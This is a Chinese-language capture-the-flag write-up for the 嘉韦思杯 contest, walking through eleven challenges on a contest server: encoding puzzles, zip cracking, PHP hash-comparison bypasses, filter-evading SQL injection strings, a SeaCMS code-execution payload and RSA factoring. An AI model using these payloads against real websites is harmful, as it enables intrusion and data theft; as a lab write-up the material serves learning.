嘉韦思杯wp

嘉韦思杯wp

由于比赛平台关了,以下题目顺序不是比赛题目顺序。

第一题:

47.103.43.235:85/b/第一题_js?.txt

页面内容是base64,解密后是jshuck,放入浏览器console中运行,

得到flag。

第二题:

http://47.103.43.235:82/crypto/a/index.php

页面内容是base64加密的 , 解密后仍然是base64,只不过最后的’=’被url编码

url解码后,继续base64解码,以这种方式解密,直到出现

fB__l621a4h4g_ai{&i},栅栏密码解密。

第三题:

http://47.103.43.235:82/web/a/index.php

打开页面

1553956315003

写脚本提交。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from lxml import etree
r = requests.get('http://47.103.43.235:82/web/a/index.php')
context=r.text
tree = etree.HTML(context)
content = tree.xpath("//p/text()")[1]
result=eval(content)
header={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Referer':'http://47.103.43.235:82/web/a/index.php'
}
print(result)
data = {'result': result}
flag = requests.post('http://47.103.43.235:82/web/a/index.php',data = data,headers=header)
print(flag.text)

第四题

打开之后是一个二维码

思路:

  1. 利用binwalk查看图片

    1553956969458

  2. 利用dd命令分离出zip文件

    1553957198036

  3. 利用ZipCenOp.jar尝试是不是zip伪加密

    img

    仍然打不开文件。

  4. 利用fcrackzip爆破zip密码

1553957478532

赛后发现,可以直接用binwalk分离文件。

第五题

sha1函数比较绕过,参数传入数组绕过。

第六题

关键代码:

1
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))

尝试param1[]=1&param2[]=2,无果

将代码复制到本地测试,发现(string)无法将数组转换为字符串,返回flase。

将代码放到谷歌搜索,找到利用方式

1
curl -v 题目url -H "Cookie: PHPSESSID=本地cookie值" --data "param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

第七题

sql注入1

没有任何过滤,爆数据库,爆表名,爆字段。读取数据

第八题

sql注入2

过滤or、空格、selectunion=

空格用/**/绕过,=用like绕过,orselect双写绕过

这题的id参数值是倒序的base64编码。

构造sql语句,转为base64,倒序。

看有报错,尝试报错注入,结果不行…

尝试盲注

0/**/order/**/by/**/6#

==wI28iKq8Sei9iKq8iclRmcv9iKq8CM

测试出6个字段。

0/**/uunionnion/**/selselectect/**/1,2,3,4,5,database()#

1
2
3
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,table_name/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()#

爆出flag表
1
2
3
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,column_name/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'flag'#

爆出flag字段
1
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,flag/**/from/**/flag#

总结做题思路

测试注入参数的长度限制,fuzz过滤字符,构造sql语句。

第九题

seacms

谷歌找seacms漏洞

最终

1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=sy&9[]=stem('cd ../../;cat flag.txt');

第十题

猜解字符串含义

1
bg[`sZ*Zg'dPfP`VM_SXVd

1553962621677

1
2
bg[`sZ*Zg'dPfP`VM_SXVd
将前四位转为ASCII编码后发现和flag的ASCII编码差4,5,6,7,...++,然后按照这个顺序依次解码,后获得flag

脚本

1
2
3
4
5
6
7
str='bg[`sZ*Zg\'dPfP`VM_SXVd'
i=3
flag=''
for c in str:
i=i+1
flag=flag+chr(ord(c)+i)
print(flag)

第十一题

RSA256

下载到gy.key和fllllllag.txt文件

利用kali linux的openssl

1553966971148

e就是Exponent的值

n的十六进制为Modules 我们用python转成十进制

1553966991990

使用http://factordb.com 将n进行因式分解来得到我们的p和q

1553967053077

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy 
import rsa
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
n = 76775333340223961139427050707840417811156978085146970312315886671546666259161
e = 65537
d = int(gmpy.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q)
with open("encrypted.message1" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message2" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message3" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())